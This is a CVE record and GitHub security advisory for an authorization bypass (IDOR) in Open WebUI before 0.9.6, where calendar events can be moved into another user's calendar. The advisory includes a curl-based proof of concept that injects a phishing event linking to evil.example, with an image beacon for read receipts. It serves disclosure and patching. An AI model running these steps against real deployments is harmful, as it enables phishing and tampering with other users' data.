{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-54006",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-23T17:51:36.543955Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-06-23T17:52:05.225Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-f3g7-59qc-pqg6"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "open-webui",
          "vendor": "open-webui",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.9.6"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.6, POST /api/v1/calendars/events/{event_id}/update validates that the caller has write access to the calendar the event currently belongs to, but does not validate the destination calendar_id supplied in the request body. The model layer then persists the new calendar_id unconditionally. A regular user-role account can therefore create an event in their own calendar and immediately move it into any other user\u0027s calendar whose ID they know \u2014 bypassing the authorization check that create_event correctly performs.  This vulnerability is fixed in 0.9.6."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 4.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-639",
              "description": "CWE-639: Authorization Bypass Through User-Controlled Key",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-06-23T16:50:44.406Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/open-webui/open-webui/security/advisories/GHSA-f3g7-59qc-pqg6",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-f3g7-59qc-pqg6"
        }
      ],
      "source": {
        "advisory": "GHSA-f3g7-59qc-pqg6",
        "discovery": "UNKNOWN"
      },
      "title": "Open WebUI: Calendar event re-parenting allows writing events into another user\u0027s calendar"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-54006",
    "datePublished": "2026-06-23T16:50:44.406Z",
    "dateReserved": "2026-06-11T16:34:11.635Z",
    "dateUpdated": "2026-06-23T17:52:05.225Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54006"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T14:09:53Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`POST /api/v1/calendars/events/{event_id}/update` validates that the caller has **write** access to the calendar the event *currently* belongs to, but does not validate the **destination** `calendar_id` supplied in the request body. The model layer then persists the new `calendar_id` unconditionally.\n\nA regular `user`-role account can therefore create an event in their own calendar and immediately move it into any other user\u0027s calendar whose ID they know \u2014 bypassing the authorization check that `create_event` correctly performs. This is reachable on **default configuration**: `ENABLE_CALENDAR` and `USER_PERMISSIONS_FEATURES_CALENDAR` both default to `True`.\n\n\n### Details\n### Sink \u2014 missing destination check\n\n`backend/open_webui/routers/calendar.py:283-297`\n\n```python\n@router.post(\u0027/events/{event_id}/update\u0027, response_model=CalendarEventModel)\nasync def update_event(\n    request: Request, event_id: str, form_data: CalendarEventUpdateForm,\n    user: UserModel = Depends(get_verified_user)\n):\n    await check_calendar_permission(request, user)\n    event = await CalendarEvents.get_event_by_id(event_id)\n    if not event:\n        raise HTTPException(status_code=404, detail=\u0027Event not found\u0027)\n\n    await _check_calendar_access(event.calendar_id, user, \u0027write\u0027)   # \u2190 SOURCE only\n\n    updated = await CalendarEvents.update_event_by_id(event_id, form_data)  # \u2190 writes form_data.calendar_id\n    ...\n```\n\n`backend/open_webui/models/calendar.py:658-693` (`update_event_by_id`)\n\n```python\nupdate_data = form_data.model_dump(exclude_unset=True)\nfor field in [\n    \u0027calendar_id\u0027,          # \u2190 destination persisted with no ACL\n    \u0027title\u0027, \u0027description\u0027, \u0027start_at\u0027, \u0027end_at\u0027, \u0027all_day\u0027,\n    \u0027rrule\u0027, \u0027color\u0027, \u0027location\u0027, \u0027is_cancelled\u0027,\n]:\n    if field in update_data:\n        setattr(event, field, update_data[field])\n```\n\n### Reference \u2014 `create_event` does check the destination\n\n`backend/open_webui/routers/calendar.py:255`\n\n```python\nawait _check_calendar_access(form_data.calendar_id, user, \u0027write\u0027)\n```\n\n### Default-config gates (both `True`)\n\n- `backend/open_webui/config.py:1658-1662` \u2014 `ENABLE_CALENDAR` defaults `\u0027True\u0027`\n- `backend/open_webui/config.py:1554` \u2014 `USER_PERMISSIONS_FEATURES_CALENDAR` defaults `\u0027True\u0027`\n- `backend/open_webui/main.py:1457` \u2014 router mounted unconditionally\n\n\n### PoC\nVerified end-to-end against the official `ghcr.io/open-webui/open-webui:main` (v0.9.4) Docker image with two fresh `user`-role accounts.\n\n#### 1. Environment\n\n```bash\ngit clone https://github.com/open-webui/open-webui.git\ncd open-webui \u0026\u0026 docker compose up -d        # http://localhost:3000\n```\n\nCreate the first account (admin), then via admin UI / `POST /api/v1/auths/add` create two `user`-role accounts: **attacker** and **victim**. Sign each in and capture their JWTs as `$ATTACKER_TOKEN` / `$VICTIM_TOKEN`.\n\n#### 2. Obtain the victim\u0027s `calendar_id`\n\nCalendar IDs are UUIDv4 (`models/calendar.py:316`) and not enumerable. In practice an attacker obtains one via:\n\n- **Read-only share** \u2014 victim (or a group admin) grants the attacker `read` on a calendar; the ID is returned by `GET /api/v1/calendars/`.\n- **Event invitation** \u2014 victim adds the attacker as an attendee on any event; the event payload (`CalendarEventModel`, `models/calendar.py:127`) includes `calendar_id`.\n- Any side-channel (logs, screenshots, browser history).\n\nFor reproduction the maintainer can simply read it as the victim:\n\n```bash\nVICTIM_CALENDAR_ID=$(curl -s \"$OPENWEBUI/api/v1/calendars/\" \\\n  -H \"Authorization: Bearer $VICTIM_TOKEN\" | python3 -c \u0027import sys,json;print(json.load(sys.stdin)[0][\"id\"])\u0027)\n```\n\n#### 3. Control \u2014 direct create is correctly blocked\n\n```bash\ncurl -s -o /dev/null -w \u0027%{http_code}\\n\u0027 \\\n  -X POST \"$OPENWEBUI/api/v1/calendars/events/create\" \\\n  -H \"Authorization: Bearer $ATTACKER_TOKEN\" -H \u0027Content-Type: application/json\u0027 \\\n  -d \"{\\\"calendar_id\\\":\\\"$VICTIM_CALENDAR_ID\\\",\\\"title\\\":\\\"x\\\",\\\"start_at\\\":1778400000000000000,\\\"end_at\\\":1778403600000000000}\"\n# \u2192 403\n```\n\n#### 4. Exploit \u2014 create-then-reparent\n\n```bash\nATTACKER_CAL=$(curl -s \"$OPENWEBUI/api/v1/calendars/\" \\\n  -H \"Authorization: Bearer $ATTACKER_TOKEN\" | python3 -c \u0027import sys,json;print(json.load(sys.stdin)[0][\"id\"])\u0027)\n\n# 1. create in own calendar\nEVENT_ID=$(curl -s -X POST \"$OPENWEBUI/api/v1/calendars/events/create\" \\\n  -H \"Authorization: Bearer $ATTACKER_TOKEN\" -H \u0027Content-Type: application/json\u0027 \\\n  -d \"{\\\"calendar_id\\\":\\\"$ATTACKER_CAL\\\",\\\"title\\\":\\\"[INJECTED] Mandatory re-auth: https://evil.example/login\\\",\\\"description\\\":\\\"Session expired.\\\",\\\"location\\\":\\\"\u003cimg src=https://evil.example/beacon.png\u003e\\\",\\\"start_at\\\":1778400000000000000,\\\"end_at\\\":1778403600000000000}\" \\\n  | python3 -c \u0027import sys,json;print(json.load(sys.stdin)[\"id\"])\u0027)\n\n# 2. move into victim\u0027s calendar \u2014 NO destination check\ncurl -s -X POST \"$OPENWEBUI/api/v1/calendars/events/$EVENT_ID/update\" \\\n  -H \"Authorization: Bearer $ATTACKER_TOKEN\" -H \u0027Content-Type: application/json\u0027 \\\n  -d \"{\\\"calendar_id\\\":\\\"$VICTIM_CALENDAR_ID\\\"}\"\n# \u2192 200, response shows \"calendar_id\":\"\u003cVICTIM_CALENDAR_ID\u003e\"\n```\n\n#### 5. Verification from victim\u0027s session\n\n```bash\ncurl -s \"$OPENWEBUI/api/v1/calendars/events?start=2026-05-01T00:00:00\u0026end=2026-06-01T00:00:00\" \\\n  -H \"Authorization: Bearer $VICTIM_TOKEN\" | python3 -m json.tool\n```\n\nObserved output (truncated):\n\n```json\n[{\n  \"id\": \"1662c982-adb1-43d6-a9c8-0103fa1299c0\",\n  \"calendar_id\": \"0b755ea7-4ff4-4a60-9cff-8961e69c75bb\",\n  \"user_id\": \"7554dd33-e220-44cb-8441-169c55eef4f5\",\n  \"title\": \"[INJECTED] Mandatory re-auth: https://evil.example/login\",\n  \"description\": \"Session expired.\",\n  ...\n}]\n```\n\nThe injected event now lives in the victim\u0027s default calendar. A subsequent `GET /events/{id}` as the **attacker** returns **403** \u2014 confirming the move succeeded and the attacker has no legitimate access to the destination.\n\n\n### Impact\n- **Read-only \u2192 write escalation** on shared calendars: a user granted `read` via `AccessGrants` can effectively write.\n- **Phishing / social engineering**: events appear inside the victim\u0027s own private calendar (not as an external invite). The hover tooltip (`CalendarEventChip.svelte:12 \u2192 common/Tooltip.svelte`) renders `title`/`location` as DOMPurify-sanitised HTML with `allowHTML=true`, so an attacker can embed formatted links and `\u003cimg\u003e` beacons (read-receipt when the victim hovers). DOMPurify prevents script execution, so this is HTML injection, not XSS.\n- **Calendar spam / DoS**: unlimited one-shot injections (attacker loses access to each event after the move, but can repeat with new events).",
  "id": "GHSA-f3g7-59qc-pqg6",
  "modified": "2026-06-17T14:09:53Z",
  "published": "2026-06-17T14:09:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-f3g7-59qc-pqg6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI IDOR: Calendar event re-parenting allows writing events into another user\u0027s calendar"
}